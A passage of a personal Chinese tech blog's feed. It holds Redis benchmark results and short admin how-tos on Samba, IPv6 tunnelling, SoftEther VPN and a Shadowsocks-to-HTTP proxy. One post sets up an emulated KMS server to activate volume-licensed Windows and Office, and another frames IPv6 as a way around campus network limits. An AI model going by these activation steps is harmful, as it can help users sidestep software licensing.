99.94% &amp;amp;lt;= 1 milliseconds
99.97% &amp;amp;lt;= 2 milliseconds
99.99% &amp;amp;lt;= 5 milliseconds
100.00% &amp;amp;lt;= 40 milliseconds
100.00% &amp;amp;lt;= 41 milliseconds
100.00% &amp;amp;lt;= 42 milliseconds
100.00% &amp;amp;lt;= 42 milliseconds
143864.19 requests per second

====== GET ======
  1000000 requests completed in 7.64 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.98% &amp;amp;lt;= 1 milliseconds
99.99% &amp;amp;lt;= 3 milliseconds
99.99% &amp;amp;lt;= 4 milliseconds
100.00% &amp;amp;lt;= 5 milliseconds
100.00% &amp;amp;lt;= 5 milliseconds
130890.05 requests per second
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;2.2读写测试（4线程）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;====== SET ======
  1000000 requests completed in 2.69 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.49% &amp;amp;lt;= 1 milliseconds
99.97% &amp;amp;lt;= 2 milliseconds
99.98% &amp;amp;lt;= 3 milliseconds
99.98% &amp;amp;lt;= 31 milliseconds
99.98% &amp;amp;lt;= 32 milliseconds
99.98% &amp;amp;lt;= 33 milliseconds
99.99% &amp;amp;lt;= 34 milliseconds
100.00% &amp;amp;lt;= 34 milliseconds
371471.03 requests per second

GET: -nan
GET: 356176.00
GET: 393656.00
GET: 407546.66
GET: 416996.00
GET: 419772.81
GET: 423405.34
GET: 423568.00
GET: 424560.00
GET: 426416.00
====== GET ======
  1000000 requests completed in 2.35 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.97% &amp;amp;lt;= 1 milliseconds
100.00% &amp;amp;lt;= 1 milliseconds
426439.22 requests per second

INCR: 222494.11
INCR: 354997.00
INCR: 380929.94
INCR: 388378.44
INCR: 398009.19
INCR: 404931.81
INCR: 410682.62
INCR: 413861.56
INCR: 416932.38
INCR: 419282.22
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;2.3 读写测试（8线程）
    ====== SET ======
      1000000 requests completed in 1.73 seconds
      50 parallel clients
      3 bytes payload
      keep alive: 1&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;97.40% &amp;amp;lt;= 1 milliseconds
99.63% &amp;amp;lt;= 2 milliseconds
99.84% &amp;amp;lt;= 3 milliseconds
99.92% &amp;amp;lt;= 4 milliseconds
99.99% &amp;amp;lt;= 7 milliseconds
99.99% &amp;amp;lt;= 8 milliseconds
100.00% &amp;amp;lt;= 8 milliseconds
577034.06 requests per second

====== GET ======
  1000000 requests completed in 1.50 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

98.99% &amp;amp;lt;= 1 milliseconds
99.96% &amp;amp;lt;= 4 milliseconds
99.99% &amp;amp;lt;= 5 milliseconds
100.00% &amp;amp;lt;= 5 milliseconds
668896.31 requests per second
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;2.4读写操作（16线程）
    ====== SET ======
      1000000 requests completed in 1.33 seconds
      50 parallel clients
      3 bytes payload
      keep alive: 1&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;72.78% &amp;amp;lt;= 1 milliseconds
98.62% &amp;amp;lt;= 2 milliseconds
99.53% &amp;amp;lt;= 3 milliseconds
99.66% &amp;amp;lt;= 4 milliseconds
99.84% &amp;amp;lt;= 5 milliseconds
99.90% &amp;amp;lt;= 6 milliseconds
99.95% &amp;amp;lt;= 7 milliseconds
99.95% &amp;amp;lt;= 10 milliseconds
100.00% &amp;amp;lt;= 10 milliseconds
753012.06 requests per second

====== GET ======
  1000000 requests completed in 1.11 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

86.16% &amp;amp;lt;= 1 milliseconds
99.83% &amp;amp;lt;= 2 milliseconds
100.00% &amp;amp;lt;= 2 milliseconds
898472.56 requests per second
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;2.5读写操作（32线程）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;====== SET ======
  1000000 requests completed in 1.13 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

3.57% &amp;amp;lt;= 1 milliseconds
79.79% &amp;amp;lt;= 2 milliseconds
97.69% &amp;amp;lt;= 3 milliseconds
99.55% &amp;amp;lt;= 4 milliseconds
99.82% &amp;amp;lt;= 5 milliseconds
99.84% &amp;amp;lt;= 10 milliseconds
99.93% &amp;amp;lt;= 11 milliseconds
99.93% &amp;amp;lt;= 13 milliseconds
99.94% &amp;amp;lt;= 14 milliseconds
99.94% &amp;amp;lt;= 16 milliseconds
99.95% &amp;amp;lt;= 18 milliseconds
99.95% &amp;amp;lt;= 20 milliseconds
99.96% &amp;amp;lt;= 22 milliseconds
99.96% &amp;amp;lt;= 23 milliseconds
99.96% &amp;amp;lt;= 25 milliseconds
99.96% &amp;amp;lt;= 26 milliseconds
99.97% &amp;amp;lt;= 27 milliseconds
99.97% &amp;amp;lt;= 29 milliseconds
99.97% &amp;amp;lt;= 30 milliseconds
99.98% &amp;amp;lt;= 32 milliseconds
99.98% &amp;amp;lt;= 34 milliseconds
99.98% &amp;amp;lt;= 35 milliseconds
99.99% &amp;amp;lt;= 37 milliseconds
99.99% &amp;amp;lt;= 39 milliseconds
99.99% &amp;amp;lt;= 40 milliseconds
100.00% &amp;amp;lt;= 42 milliseconds
100.00% &amp;amp;lt;= 42 milliseconds
887311.44 requests per second

====== GET ======
  1000000 requests completed in 1.04 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

6.38% &amp;amp;lt;= 1 milliseconds
87.71% &amp;amp;lt;= 2 milliseconds
99.22% &amp;amp;lt;= 3 milliseconds
99.79% &amp;amp;lt;= 4 milliseconds
99.84% &amp;amp;lt;= 40 milliseconds
99.86% &amp;amp;lt;= 41 milliseconds
99.89% &amp;amp;lt;= 42 milliseconds
99.98% &amp;amp;lt;= 43 milliseconds
100.00% &amp;amp;lt;= 43 milliseconds
960614.81 requests per second
&lt;/pre&gt;&lt;/div&gt;


&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;从读写测试我们可以看到Redis在有2.6亿条数据后其效率还是很惊人的，但是我们也发现并发的线程越多，其速度并不是线性增加的。在16个线程到32个线程之间，虽然线程数目增加了一倍，但是效率提高的并不多。说明这一句到了Redis的一个瓶颈&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Redis安全说明&lt;/h2&gt;
&lt;p&gt;Redis开放端口应该放在内网，然后让网页服务器通过内网进行连接，这样可以防止Redis绕过授权登录（或者及时更新最新版本Redis）&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Redis真的好用而且快，支持Java支持PHP，一键连接快速读写。&lt;/p&gt;
&lt;h2&gt;PDF Download&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://7jpt7a.com1.z0.glb.clouddn.com/diary-160621.pdf" title="中文版本"&gt;中文版本&lt;/a&gt;&lt;/p&gt;</content><category term="Security"></category><category term="June"></category><category term="Linux"></category></entry><entry><title>Android 5.0 通知栏setsmallicon的坑</title><link href="https://blog.chenjia.me/articles/160423-113941.html" rel="alternate"></link><published>2016-04-23T11:39:41+08:00</published><updated>2016-04-23T11:39:43+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-04-23:/articles/160423-113941.html</id><summary type="html">&lt;h2&gt;Android 5.0规范修改&lt;/h2&gt;
&lt;p&gt;Android 5 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Android 5.0规范修改&lt;/h2&gt;
&lt;p&gt;Android 5.0 的通知栏的setsmallicon会自动处理图片的颜色，简单的说就是会将图片的颜色去掉，所以大家设置的时候要使用透明背景的设计风格，不然在通知栏中显示的话就是一个白色的icon&lt;/p&gt;
&lt;h2&gt;SEO&lt;/h2&gt;
&lt;p&gt;Android通知栏白色图标&lt;/p&gt;
&lt;p&gt;Android setsmallicon 无效&lt;/p&gt;
&lt;p&gt;Android setsmallicon 白色图片&lt;/p&gt;</content><category term="April"></category><category term="Android"></category></entry><entry><title>自建KMS服务器</title><link href="https://blog.chenjia.me/articles/160330-213214.html" rel="alternate"></link><published>2016-03-30T21:32:14+08:00</published><updated>2016-03-30T21:32:16+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-03-30:/articles/160330-213214.html</id><summary type="html">&lt;h2&gt;作用&lt;/h2&gt;
&lt;p&gt;方便激活各种VOL的Windows和office 0.0~&lt;/p&gt;
&lt;h2&gt;使用开源项目 …&lt;/h2&gt;</summary><content type="html">&lt;h2&gt;作用&lt;/h2&gt;
&lt;p&gt;方便激活各种VOL的Windows和office 0.0~&lt;/p&gt;
&lt;h2&gt;使用开源项目&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;GITHUB地址：&lt;a href="https://github.com/vancepym/vlmcsd"&gt;https://github.com/vancepym/vlmcsd&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;官方论坛地址：&lt;a href="http://forums.mydigitallife.info/threads/50234-Emulated-KMS-Servers-on-non-Windows-platforms"&gt;http://forums.mydigitallife.info/threads/50234-Emulated-KMS-Servers-on-non-Windows-platforms&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个国人的教程：&lt;a href="http://www.l68.net/1028.html"&gt;http://www.l68.net/1028.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;搭建&lt;/h2&gt;
&lt;p&gt;vlmcsd为服务器&lt;/p&gt;
&lt;p&gt;一次性执行：在对应的系统执行对应的文件就好
服务器模式：将改命令开机自动启动（自动监听ipv4和ipv6地址，端口1688）&lt;/p&gt;
&lt;p&gt;自用的话只要保证Windows的机器可以访问目标机器的就好（例如同一个局域网内）&lt;/p&gt;
&lt;p&gt;支持手机，Windows，Linux,MAC OSX以及路由器系统。&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;p&gt;Windows：使用管理员启动命令提示符&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;slmgr.vbs -ipk W269N-WFGWX-YVC9B-4J6C9-T83GX #密钥
slmgr.vbs -skms IP地址
slmgr.vbs -ato
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;OFFICE：首先切换到对应的Office目录下，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cd &amp;quot;C:/Program Files/Microsoft Office/Office15&amp;quot;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后执行对应命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cscript ospp.vbs /sethst:IP地址
cscript ospp.vbs /act
&lt;/pre&gt;&lt;/div&gt;</content><category term="March"></category><category term="Linux"></category></entry><entry><title>Repo diff 文件自动patch</title><link href="https://blog.chenjia.me/articles/160316-163205.html" rel="alternate"></link><published>2016-03-16T16:32:05+08:00</published><updated>2016-03-16T16:32:07+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-03-16:/articles/160316-163205.html</id><summary type="html">&lt;h2&gt;repo diff 导出&lt;/h2&gt;
&lt;p&gt;REPO 是Android …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;repo diff 导出&lt;/h2&gt;
&lt;p&gt;REPO 是Android Source 的同步工具，使用&lt;code&gt;repo diff&lt;/code&gt;可以查看修改过的文件，那么使用&lt;code&gt;repo diff &amp;gt; xxx.diff&lt;/code&gt;就可以将内容导出成为文件&lt;/p&gt;
&lt;h2&gt;像普通的diff文件一样patch&lt;/h2&gt;
&lt;p&gt;使用google group一个人的代码：&lt;a href="https://groups.google.com/forum/#!topic/repo-discuss/43juvD1qGIQ" title="google group"&gt;https://groups.google.com/forum/#!topic/repo-discuss/43juvD1qGIQ&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;## Script to patch up diff reated by `repo diff`&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -e &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Usages: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; &amp;amp;lt;repo_diff_file&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

rm -fr _tmp_splits*
cat &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; csplit -qf &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; -b &lt;span class="s2"&gt;&amp;quot;_tmp_splits.%d.diff&amp;quot;&lt;/span&gt; - &lt;span class="s1"&gt;&amp;#39;/^project.*\/$/&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{*}&amp;#39;&lt;/span&gt;

&lt;span class="nv"&gt;working_dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; proj_diff in &lt;span class="sb"&gt;`&lt;/span&gt;ls _tmp_splits.*.diff&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt; 
    &lt;span class="nv"&gt;chg_dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;cat &lt;span class="nv"&gt;$proj_diff&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^project.*\/$&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt; -f &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;FILE: &lt;/span&gt;&lt;span class="nv"&gt;$proj_diff&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$chg_dir&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -e &lt;span class="nv"&gt;$chg_dir&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
        &lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;$chg_dir&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
            cat &lt;span class="nv"&gt;$working_dir&lt;/span&gt;/&lt;span class="nv"&gt;$proj_diff&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s1"&gt;&amp;#39;^project.*\/$&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; patch -Np1&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt;: Project directory &lt;/span&gt;&lt;span class="nv"&gt;$chg_dir&lt;/span&gt;&lt;span class="s2"&gt; don&amp;#39;t exists.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;将该文件保存为sh并且加上执行权限，就可以使用&lt;code&gt;./xxx.sh xxx.diff&lt;/code&gt;打补丁了。。注意文件位置&lt;/p&gt;
&lt;p&gt;以上&lt;/p&gt;</content><category term="March"></category><category term="Android"></category><category term="Repo"></category></entry><entry><title>CM13编译新增Maven依赖支持</title><link href="https://blog.chenjia.me/articles/160314-120513.html" rel="alternate"></link><published>2016-03-14T12:05:13+08:00</published><updated>2016-03-14T12:05:15+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-03-14:/articles/160314-120513.html</id><summary type="html">&lt;h2&gt;CM13.0 分支添加Maven支持&lt;/h2&gt;
&lt;p&gt;在安装官网教程会发现缺少mvn命令导致编译失败，错误如下 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;CM13.0 分支添加Maven支持&lt;/h2&gt;
&lt;p&gt;在安装官网教程会发现缺少mvn命令导致编译失败，错误如下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;/bin/bash: mvn: command not found
make: *** [/home/jeffrey/android/out/target/common/obj/JAVA_LIBRARIES/ambientsdk_intermediates/com.cyngn.ambient.ambientsdk-1.4.0.aar] Error 127
make: *** Waiting for unfinished jobs....
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;解决方法，安装maven2，maven3会遇到插件不存在。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt-get install maven2
&lt;/pre&gt;&lt;/div&gt;</content><category term="March"></category><category term="Android"></category></entry><entry><title>Ubuntu Samba共享无法登陆解决方案</title><link href="https://blog.chenjia.me/articles/160303-224148.html" rel="alternate"></link><published>2016-03-03T22:41:48+08:00</published><updated>2016-03-03T22:41:50+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-03-03:/articles/160303-224148.html</id><summary type="html">&lt;p&gt;当你在按照网络教程都配置好后依旧无法通过Windows登陆samba文件夹，请注意以下几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;给samba添加自己用户和密码 &lt;code&gt;sudo  smbpasswd …&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;当你在按照网络教程都配置好后依旧无法通过Windows登陆samba文件夹，请注意以下几点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;给samba添加自己用户和密码 &lt;code&gt;sudo  smbpasswd -a username&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;win10 登陆时候用户名前要加&lt;code&gt;\&lt;/code&gt; 例如&lt;code&gt;\username&lt;/code&gt;来去掉登陆域&lt;/li&gt;
&lt;/ul&gt;</content><category term="March"></category><category term="Linux"></category></entry><entry><title>阿里云通过He.net添加IPV6</title><link href="https://blog.chenjia.me/articles/160301-134110.html" rel="alternate"></link><published>2016-03-01T13:41:10+08:00</published><updated>2016-03-01T13:41:12+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2016-03-01:/articles/160301-134110.html</id><summary type="html">&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;本文重点，如果只是想关注让阿里云可行，则看这里&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;最重要，修改阿里云限制 …&lt;/h1&gt;</summary><content type="html">&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;本文重点，如果只是想关注让阿里云可行，则看这里&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;最重要，修改阿里云限制&lt;/h1&gt;
&lt;p&gt;阿里云限制了ipv6的功能，我们需要修改开启&lt;/p&gt;
&lt;p&gt;编辑&lt;code&gt;\etc\sysctl.conf&lt;/code&gt;翻到最后我们会看到一堆关于ip的配置，我们需要修改关于ipv6的设置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后保存重启系统使之生效&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;正文部分&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;IPV6的好处&lt;/h1&gt;
&lt;p&gt;ipv6可以绕过校园网限制，可以进pt。&lt;/p&gt;
&lt;h1&gt;阿里云和ipv6&lt;/h1&gt;
&lt;p&gt;国内阿里云不提供ipv6服务，所以我们通过he.net提供的tunnel可以实现连接ipv6&lt;/p&gt;
&lt;h1&gt;Ubuntu和he.net&lt;/h1&gt;
&lt;p&gt;参考&lt;a href="https://wiki.ubuntu.com/IPv6#Get_connected_with_Hurricane_Electric" title="官方配置"&gt;https://wiki.ubuntu.com/IPv6#Get_connected_with_Hurricane_Electric&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以及&lt;a href="https://tunnelbroker.net/" title="he.net"&gt;https://tunnelbroker.net/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;前者是配置，后者是提供tunnel服务&lt;/p&gt;
&lt;p&gt;其实简单来说，就是在he.net注册账号后按照要求填入vps的ipv4的ip，然后生成一个tunnel，然后进去后就有各种系统的配置。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在阿里云上（ubuntu）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要编辑&lt;code&gt;\etc\network\interface&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;auto he-ipv6
iface he-ipv6 inet6 v4tunnel
address 2001:470:xxx:xxx::2
netmask 64
remote 216.xxx.xxx.xxx #远程ip地址
local xxx.xxx.xxx.xxx #阿里云ip地址
endpoint any
ttl 255
gateway 2001:470:xxx:xxx::1
up ip -6 route add 2000::/3 via ::216.xxx.xxx.xxx dev he-ipv6
up ip -6 addr add 2001:470:xxx:xxx::1:1/128 dev he-ipv6
up ip -6 addr add 2001:470:xxx:xxx::2:1/128 dev he-ipv6
down ip -6 route flush dev he-ipv6
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后保存就好了。&lt;/p&gt;
&lt;h1&gt;最重要，修改阿里云限制&lt;/h1&gt;
&lt;p&gt;阿里云限制了ipv6的功能，我们需要修改开启&lt;/p&gt;
&lt;p&gt;编辑&lt;code&gt;\etc\sysctl.conf&lt;/code&gt;翻到最后我们会看到一堆关于ip的配置，我们需要修改关于ipv6的设置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;net.ipv6.conf.all.disable_ipv6 = 0
net.ipv6.conf.default.disable_ipv6 = 0
net.ipv6.conf.lo.disable_ipv6 = 0
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后保存重启系统使之生效&lt;/p&gt;
&lt;h2&gt;如果没看到&lt;/h2&gt;
&lt;p&gt;使用&lt;code&gt;ifconfig&lt;/code&gt;没有看到he-ipv6的网卡的话，那么应该执行&lt;code&gt;ifup he-ipv6&lt;/code&gt;即可，运行后如果没有就再重启一遍就好0.0~&lt;/p&gt;</content><category term="March"></category><category term="Linux"></category></entry><entry><title>Build SoftEther VPN on Banwagonghost</title><link href="https://blog.chenjia.me/articles/151215-103929.html" rel="alternate"></link><published>2015-12-15T10:39:29+08:00</published><updated>2015-12-15T10:39:32+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-12-15:/articles/151215-103929.html</id><summary type="html">&lt;h1&gt;SoftEther VPN&lt;/h1&gt;
&lt;p&gt;日本筑波大学的项目，该项目牵扯到VPN GATE项目 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;SoftEther VPN&lt;/h1&gt;
&lt;p&gt;日本筑波大学的项目，该项目牵扯到VPN GATE项目，后者因为某原因并不会在本文出现介绍。&lt;/p&gt;
&lt;p&gt;官网：&lt;a href="https://www.softether.org/"&gt;https://www.softether.org/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;部署到VPS上，搬瓦工/kvm主机&lt;/h1&gt;
&lt;p&gt;root 用户执行，在安装的时候要同意选项。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wget http://www.softether-download.com/files/softether/v4.19-9599-beta-2015.10.19-tree/Linux/SoftEther_VPN_Server/64bit_-_Intel_x64_or_AMD64/softether-vpnserver-v4.19-9599-beta-2015.10.19-linux-x64-64bit.tar.gz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tar -zxvf softether-vpnserver-v4.19-9599-beta-2015.10.19-linux-x64-64bit.tar.gz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd vpnserver/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;./.install.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;./vpnserver star&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后观察端口情况，一般是ipv4和ipv6都监听了，一般是443,992，1194和5555这四个端口。至少要保证一个是开放的才能在管理端连接上&lt;/p&gt;
&lt;h1&gt;Windows端使用客户端配置&lt;/h1&gt;
&lt;p&gt;下载&lt;code&gt;SoftEther VPN Server 管理器&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="设置图片" src="https://i.imgur.com/3JOqWVr.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开启L2TP功能，并且设置IPsec的共享密钥&lt;/p&gt;
&lt;p&gt;&lt;img alt="L2TP" src="https://i.imgur.com/LPcrCjv.png"&gt;&lt;/p&gt;
&lt;p&gt;管理虚拟HUB，建立一个虚拟HUB，然后添加用户，并且开启NAT&lt;/p&gt;
&lt;p&gt;开启net，注意填写dns地址和默认网关的配置&lt;/p&gt;
&lt;p&gt;&lt;img alt="NAT配置" src="https://i.imgur.com/f4p9oma.png"&gt;&lt;/p&gt;
&lt;p&gt;NAT示范配置
&lt;img alt="Nat示范" src="https://i.imgur.com/cmjVyH5.png"&gt;&lt;/p&gt;
&lt;p&gt;添加用户
&lt;img alt="添加用户" src="https://i.imgur.com/WJ6egK2.png"&gt;&lt;/p&gt;
&lt;p&gt;基本配置完成&lt;/p&gt;
&lt;h1&gt;iPhone配置&lt;/h1&gt;
&lt;p&gt;在设置中VPN添加L2TP连接，填入对应信息，开启连接
&lt;img alt="ip显示" src="https://i.imgur.com/Sf2RSUI.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索测试
&lt;img alt="搜索测试" src="https://i.imgur.com/4ky26aj.jpg"&gt;&lt;/p&gt;
&lt;h1&gt;问题&lt;/h1&gt;
&lt;p&gt;官方说支持ipv6并且我在nat端口也看到了ipv6的连接，但是不知道是否是L2TP over IPsec还是SecureNAT的锅，导致无法通过IPV6地址连接上VPN，有待考证&lt;/p&gt;</content><category term="December"></category><category term="Linux"></category></entry><entry><title>Convert Shadow(remove)socks into an HTTP proxy</title><link href="https://blog.chenjia.me/articles/151209-164403.html" rel="alternate"></link><published>2015-12-09T16:44:03+08:00</published><updated>2015-12-09T16:44:05+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-12-09:/articles/151209-164403.html</id><summary type="html">&lt;h2&gt;First run polipo with parent …&lt;/h2&gt;</summary><content type="html">&lt;h2&gt;First run polipo with parent proxy set to Shadow(remove)socks&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;apt-get install polipo
service polipo stop
polipo socksParentProxy=localhost:1080
service polipo start
&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Then you can play with the HTTP proxy&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;http_proxy=http://localhost:8123 apt-get update

http_proxy=http://localhost:8123 curl www.google.com

http_proxy=http://localhost:8123 wget www.google.com

git config --global http.proxy 127.0.0.1:8123
git clone https://github.com/xxx/xxx.git
git xxx
git xxx
git config --global --unset-all http.proxy
